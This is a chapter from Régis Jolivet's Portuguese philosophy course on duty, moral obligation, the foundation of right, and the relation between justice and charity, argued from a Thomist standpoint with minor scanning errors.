Curso de Filosofia – Régis Jolivet
Capítulo Terceiro
O DEVER E O DIREITO
ART. I. O DEVER E A OBRIGAÇÃO MORAL
a) A ordem da reta razão. Todo dever concreto, isto é, que concerne a um caso
particular, é um juízo prático moral, formulado como conclusão de um
raciocínio baseado num princípio geral da lei natural ou positiva e que impõe
uma obrigação. Este raciocínio pode ser simplesmente implícito, e ele o é,
normalmente, nos casos em que a aplicação da lei moral ao caso concreto se. faz
sem dificuldade.
b) Definição. Pode-se, por conseguinte, definir o dever como a obrigação
moral de fazer ou não fazer alguma coisa.
2. Natureza. — A essência do
dever consiste, pois, numa necessidade moral de tal ordem que a vontade
não possa fugir a ele sem perturbar a ordem da razão, ou violar o direito de
outrem.
Esta necessidade moral nada
tem em comum com a necessidade física ou com a força. É uma
realidade interior, que age sobre a vontade, sem violentá-la, mas que se impõe
como a expressão de |Ma ordem que exige absoluta e incondicionalmente
a obediência e o respeito, e que subsiste imutável, apesar de todas as
transgressões, de que a vontade pudesse tornar-se culpada.
261 3. Fundamentos da
obrigação moral. — A obrigação moral» dizemos, aparece-nos como absoluta. Qual
é, pois, seu fundamento? Têm-se dado três tipos de resposta: a razão, a
sociedade ou Deus,
a) A razão. Kant
fundamenta a obrigação moral na razão, enquanto ela formula uma lei
universal e absolutamente necessária. Há, nesta teoria, uma confusão: a
razão nos faz conhecer a lei, mas não a cria. Ao contrário, a razão reconhece
que a lei promulgada pela consciência não possui verdadeira autoridade, a não
ser que seja por sua vez a expressão da lei eterna.
b) A sociedade. É a
teoria dos positivistas. A pressão exercida pela sociedade sobre os
indivíduos acabaria, com o tempo, por interiorizar-se, e o que não era
inicialmente para nossos antepassados senão uma injunção vinda do exterior,
transformar-se-ia para nós, pelo exercício do hábito e da hereditariedade, em
obrigação de consciência.
Esta tese não pode ser
admitida. Choca-se contra numerosas e graves dificuldades, particularmente:
pelo fato de que certas pressões sociais (a moda, por exemplo) não se
transformam em obrigações de consciência. Podemos envergonhar-nos de não
andar na moda, nunca, porém, teremos o sentimento de cometer uma falta moral
por não seguir a moda; pelo fato de que as coações sociais não impõem
respeito senão na medida em que se conformam às exigências morais que lhes
são, então, anteriores e distintas; pelo fato de que a lei natural (ou o
direito natural) tem uma universalidade e uma imutabilidade tais que aparece
como independente das sociedades de formas tão diversas que se sucederam na
terra. Se a lei natural se originasse da sociedade, ter-se-ia diversificado
como as sociedades humanas.
c) Deus. Enfim,
aparece unicamente Deus como verdadeiro fundamento da obrigação moral, enquanto
princípio e fim último de tudo o que existe. Obedecendo ao dever moral,
obedecemos à vontade de Deus, criador e legislador de nossa natureza.. Somente
esta vontade pode exigir de nós respeito absoluto. Por isso, devemos dizer,
como o fizemos na Introdução (246), que a Moral exige, necessariamente, uma
base metafísica.
4. Os conflitos de
deveres. — O dever, que nos impõe certas obrigações graves, pode, algumas
vezes, obrigar-nos a transgredir outras obrigações, incompatíveis com este
dever. É o que se chama de conflitos de deveres. Por exemplo: Pedro deve
participar de um campeonato esportivo, onde sua presença é necessária; mas, no
mesmo instante, seu dever filial o obriga a permanecer junto a seu pai,
gravemente enfermo.
Estes conflitos, que se
produzem quando é impossível o cumprimento, ao mesmo tempo, de deveres
que se excluem mutuamente, são puramente aparentes, pois todo dever vem
de Deus, e é evidente que Deus, infinitamente sábio e justo, não pode obrigar
a cumprir dois deveres incompatíveis entre si. Em cada caso, será então o dever mais importante o mais grave, e, de fato, o único dever e o que, por
conseguinte, deverá prevalecer.
5. Divisão do dever. — Divide-se o dever:
a) Em razão de seu fim. Deste ponto-de-vista, distinguem-se os deveres para
com Deus, os deveres para consigo mesmo e os deveres para com o próximo.
b) Em si mesmo. Daí se segue a distinção entre deveres de justiça e
deveres de caridade.
ART. II. O DIREITO E O FUNDAMENTO DO DIREITO
§ 1. O DIREITO
262 I. Noção.
a) No sentido lato, da mesma forma que se chama direito, na ordem
física, o caminho que conduz, sem desvio, de um ponto a outro, do mesmo modo,
na ordem moral, o direito é, etimologicamente, o que conduz o homem., sem
desvio, a seu fim último.
b) No sentido próprio e técnico, o direito é o poder moral de possuir, fazer ou
exigir alguma coisa.
2. Essência do direito. — O
direito é um poder moral, isto é, um poder que se baseia na razão e na
lei moral. Opõe-se, assim, ao poder físico, que se baseia na força, A
força certamente, pode ser justa, mas não é o direito.
3. Sujeito de direito.
a) Somente a pessoa
é sujeito de direito. Só o ser inteligente e livre, isto é, a pessoa, pode
ter direitos, porque só ele é capaz de exercer um poder moral, de vez que é o
único capaz de conhecer a lei e as obrigações que dela derivam.
b) As crianças e os
dementes, e, em geral, todos os indivíduos que uma debilidade congênita ou
acidental priva de razão* têm ou conservam todos os direitos próprios à sua
qualidade de seres racionais e livres. Podem, somente, ser privados, para seu
próprio bem, do uso destes direitos, exercidos em seu nome por aqueles que têm
o encargo, natural ou legal, de seus interesses.
4.
Objeto de direito. — É o ato
moral que se pode cumprir ou exigir de outro. O homem pode reivindicar
direitos sobre a substância das criaturas irracionais e sua atividade, porque
são feitas para ele. Mas não pode reivindicar direitos senão sobre a. atividade
dos seres inteligentes, e não sobre suas pessoas, que não têm outro fim a não
ser Deus. Donde, a ilegitimidade da escravidão absoluta.
5.
Propriedades do direito. — As
principais propriedade do direito são:
a) A
inviolabilidade. É a propriedade essencial do direito. Quaisquer que
sejam os obstáculos exteriores a sua realização, qualquer que seja a
violência que sofra, o direito subsiste em toda a sua força, porque exprime a
ordem ideal estabelecida pela lei natural e a lei eterna, que coisa alguma, nem
ninguém, pode abrogar.
b) A coação. O direito é exigível pela força, e o privilégio da
força, sua única razão de ser, ê servir o direito. No estado de sociedade
organizada, todavia, a coação física (exceto no caso de legítima defesa) não
pertence aos indivíduos.
c) A limitação. O direito tem seus limites, porque se apóia numa lei
que, por sua vez, visa a um fim determinado. Donde se segue que o direito não é
tal senão no limite preciso da lei.
d) Os conflitos de direitos. Os direitos podem entrar em conflitos entre si: na
realidade, este conflito não é senão aparente, pois que não há direito contra
direito: o direito anterior e superior anula o direito posterior e inferior. O
direito que tenho de tocar piano é anulado, à noite, pelo direito mais
importante que têm meus vizinhos de dormir.
§ 2. O FUNDAMENTO DO DIREITO
263 1. O problema. — Pode-se
distinguir o fundamento do direito em geral, e o fundamento dos direitos
concretos: este último chama-se título legal, isto é, o fato contingente
em virtude do qual um direito dado pertence a uma pessoa determinada.
(Exemplos: uma escritura de propriedade; um título de dívida pública, uma
apólice de seguro).
A questão do fundamento do
direito em geral, isto é, da causa
eficiente do direito como tal, do princípio supremo de que decorre, tem sido
objeto de discussão, que podemos assim resumir sucintamente :
a) Erros empiristas
sobre a origem do direito. Os filósofos empiristas quiseram fundamentar o
direito ora na necessidade (Helvetius)
: toda necessidade cria um direito, — ora na força (Hobbes, NietzSche), — ora nas leis
da sociedade civil (Spencer, DURKHEIM).
Estas teorias devem ser
rejeitadas. Com efeito, a necessidade não pode criar o direito, pois
como determinar o valor dos direitos que nascem de necessidades opostas? Seria
necessário recorrer a força. Finalmente, o direito derivaria da força. — De
outra parte, porém, a força não pode servir de base ao direito, pois o
direito é um poder moral, enquanto que a força é de ordem física. Estas coisas
são heterogêneas, e a força não pode produzir o direito tanto quanto do
carvalho não pode nascer uma borboleta! — Enfim, a sociedade não é a fonte
do direito, porque antes da sociedade civil existe a família, que já supõe
um sistema de direitos, e também (como já observamos) porque a própria
sociedade, para se fazer obedecer, apóia-se no direito, o que quer dizer que,
longe de servir de base ao direito, ela o supõe.
b) Erro
racionalista. Kant quer que o
direito se baseie na dignidade da pessoa humana, dignidade que se exprime na e
pela liberdade moral. A liberdade seria, assim, o objeto de um respeito absoluto, como que constituindo o bem supremo do homem.
Ainda aí há um erro. A
liberdade não é um absoluto: nada vale por si mesma, mas pelo uso que dela se
faz. Outrossim, ela se submete à ordem moral, e a dignidade humana consiste em obedecer, livremente, a esta ordem moral. Definir-se-á, pois, antes, pela obediência
do que pela liberdade, que é meio e não fim.
1. A lei, fundamento
do direito. — É preciso, pois, ficar na doutrina que resulta de nosso estudo da
lei, e segundo a qual o
fundamento próximo do direito não difere da lei natural ou positiva
legítima. Definimos, com efeito, o direito, como um poder moral; ora,
só uma lei pode produzir um poder moral. Quanto ao fundamento último do
direito, encontra-se na lei eterna, donde derivam todas as outras leis,
naturais e positivas, e, destas, os direitos e os deveres.
Art. III. A JUSTIÇA E A CARIDADE
§ 1. A justiça
264 1. Definição. — A justiça
consiste na vontade firme e constante de dar a cada um o que lhe é devido.
A
justiça supõe, pois, duas condições necessárias:
a) A distinção de pessoas em que existem
correlativamente o um direito e um dever de justiça;
b) A especificação de
um objeto, que pertence a uma delas e que deve ser respeitado, devolvido ou
restabelecido em
sua integridade pela outra.
2. Divisão. — Distingue-se:
a) A Justiça comutativa. Ê a que dirige e regula a igualdade das transações
entre os indivíduos. Ela obriga, pois, a dar a outrem aquilo que lhe
pertence, cuique sunm. Assim, devemos respeitar no operário o direito
ao justo salário, no comerciante o direito ao justo preço da mercadoria, no
comprador o direito de receber, em troca do preço justo, a quantidade e a qualidade
correspondentes de mercadoria.
b) A -Justiça distributiva. É a justiça que fundamenta, o direito que tem a
sociedade de exigir de seus membros o que é necessário para seu fim, e de
tratar cada um segundo seus méritos e suas necessidades. Ê esta a razão
pela qual o Estado distribui os impostos e os outros encargos sociais,
proporcionalmente à fortuna de cada um de seus membros. A justiça distributiva
não é satisfeita senão quando esta proporção é observada tão equitativamente
quanto possível. Tem seu correlativo por parte dos membros da sociedade, na
justiça legal, pela qual estes dão à sociedade o que lhe é devido.
§ 2. A CARIDADE
265 1. Noção. — A
caridade consiste no amor do próximo. Vai, pois, além da justiça, que
manda somente respeitar os direitos do próximo. Ela é essencialmente o dom de
si e daquilo que nos pertence, como conseqüência de um amor de benevolência que nos impulsiona a querer fazer o bem ao próximo.
2. Fundamento. — O
dever de caridade baseia-se na fraternidade dos homens entre si,
enquanto que o dever de justiça se fundamenta apenas nos direitos estritos da
pessoa humana. Vemos, de fato, na História, que a idéia de caridade
progrediu ao mesmo tempo que a de fraternidade humana. É o cristianismo
que, revelando aos homens sua fraternidade natural e sobrenatural, condicionou
o acontecimento histórico da caridade universal.
3. Caracteres. — Os deveres da caridade são:
a) Relativamente indeterminado nos pormenores de suas aplicações: posso escolher
(salvo caso de urgência) as pessoas a quem farei a caridade, o momento e as
circunstâncias em que a farei, e a medida em que a farei.
b) Não exigíveis pela força. Só a justiça escrita pode recorrer à força para se
fazer respeitar.
§ 3. Justiça
e caridade
266 1. Pode-se reduzir a caridade à justiça? — Certos
filósofos quiseram negar a originalidade da caridade, sustentando que não seria
senão a forma provisória da justiça. A caridade, na História, dizem
eles, transformou-se constantemente em dever de justiça, paralelamente ao
progresso das idéias morais: outrora, libertar um escravo era um ato de
caridade; hoje, seria um dever estrito de justiça. O futuro verá, da mesma
forma, a caridade de hoje tornar-se a justiça de amanhã.
Estas idéias são muito
contestáveis. Erram, de uma parte, por reconhecer apenas a esmola como forma de
caridade, enquanto que existem também dons do coração muitas vezes mais
preciosos; que justiça futura os dirigirá e regulamentará? De outro lado, se é
verdade que os deveres de caridade se transformaram em deveres de justiça, isto
implica numa emenda de certos erros de apreciação moral, mas de forma alguma na
eliminação da caridade. Ao contrário é a caridade que contribui para
realizar maior justiça, por exemplo, pela mitigação e supressão da
escravidão, depois pela ruminação da servidão e melhoria das condições de
trabalho. A caridade é, pois, bem distinto da justiça.
2. Relações entre caridade e justiça.
O que acabamos de dizer
no tocante à distinção entre justiça e caridade mostra, com evidência, que a justiça
e a caridade estão estreitamente ligadas. Com efeito:
a) A caridade implica em respeito
da justiça. Quem ama seu próximo
começa primeiramente por respeitar seus direitos. Um patrão que se dispensasse
de pagar a seus operários o justo salário, reservando-se a dar esmola aos mais
necessitados, faltaria ao mesmo tempo à justiça e à caridade.
b) A justiça deve ser temperada
pela- caridade. É preciso distinguir
cuidadosamente a legalidade e a eqüidade. A lei civil permite,
por exemplo, que um rico expulse um pobre do aposento que não pode pagar. Mas
isto é contrário à eqüidade, ao direito natural. É o espírito de
caridade que deverá, pois, intervir nesse caso, para impedir que se perpetre em
nome da legalidade uma injustiça real. A caridade tempera, assim, constantemente,
as reivindicações da justiça e trabalha, por sua vez, para a paz e concórdia
sociais.
A justiça é auxiliar da caridade, enquanto que contribui para tornar sua prática
racional e eficaz. A caridade, como o amor de que procede, é facilmente cega e
desliza com facilidade para a fraqueza: a esmola distribuída ao acaso
arrisca-se a encorajar a preguiça; os pais hesitam em castigar as faltas de
seus filhos; um coração muito sensível distribui perdões sem qualquer garantia
etc. 1 É preciso, pois, que o cuidado da justiça acompanhe constantemente o
exercício da caridade. Se a justiça deve ser caridosa, é preciso, também,
que a caridade seja justa.
d) A caridade é auxiliar da
justiça. Como ficou demonstrado acima, a caridade, longe de ser empecilho
para a justiça, como se supôs várias vezes, trabalha constantemente para fazer
admitir e praticar os deveres de justiça, desconhecidos ou violados pelos indivíduos
e pela sociedade. Vai sempre na frente para abrir caminho a uma justiça
mais exata.
Isto não significa que ela
deva desaparecer em proveito da justiça. Quando esta fosse completamente
satisfeita (seria isso verdadeiramente possível?) a caridade teria ainda um
imenso papel a desempenhar, para aliviar as misérias morais, para fazer
rei-f nar nas relações humanas, constantemente conturbadas pelas desigualdades
naturais ou sociais, este espírito de doçura e amizade fraterna, sem o
qual não há verdadeira sociedade humana.
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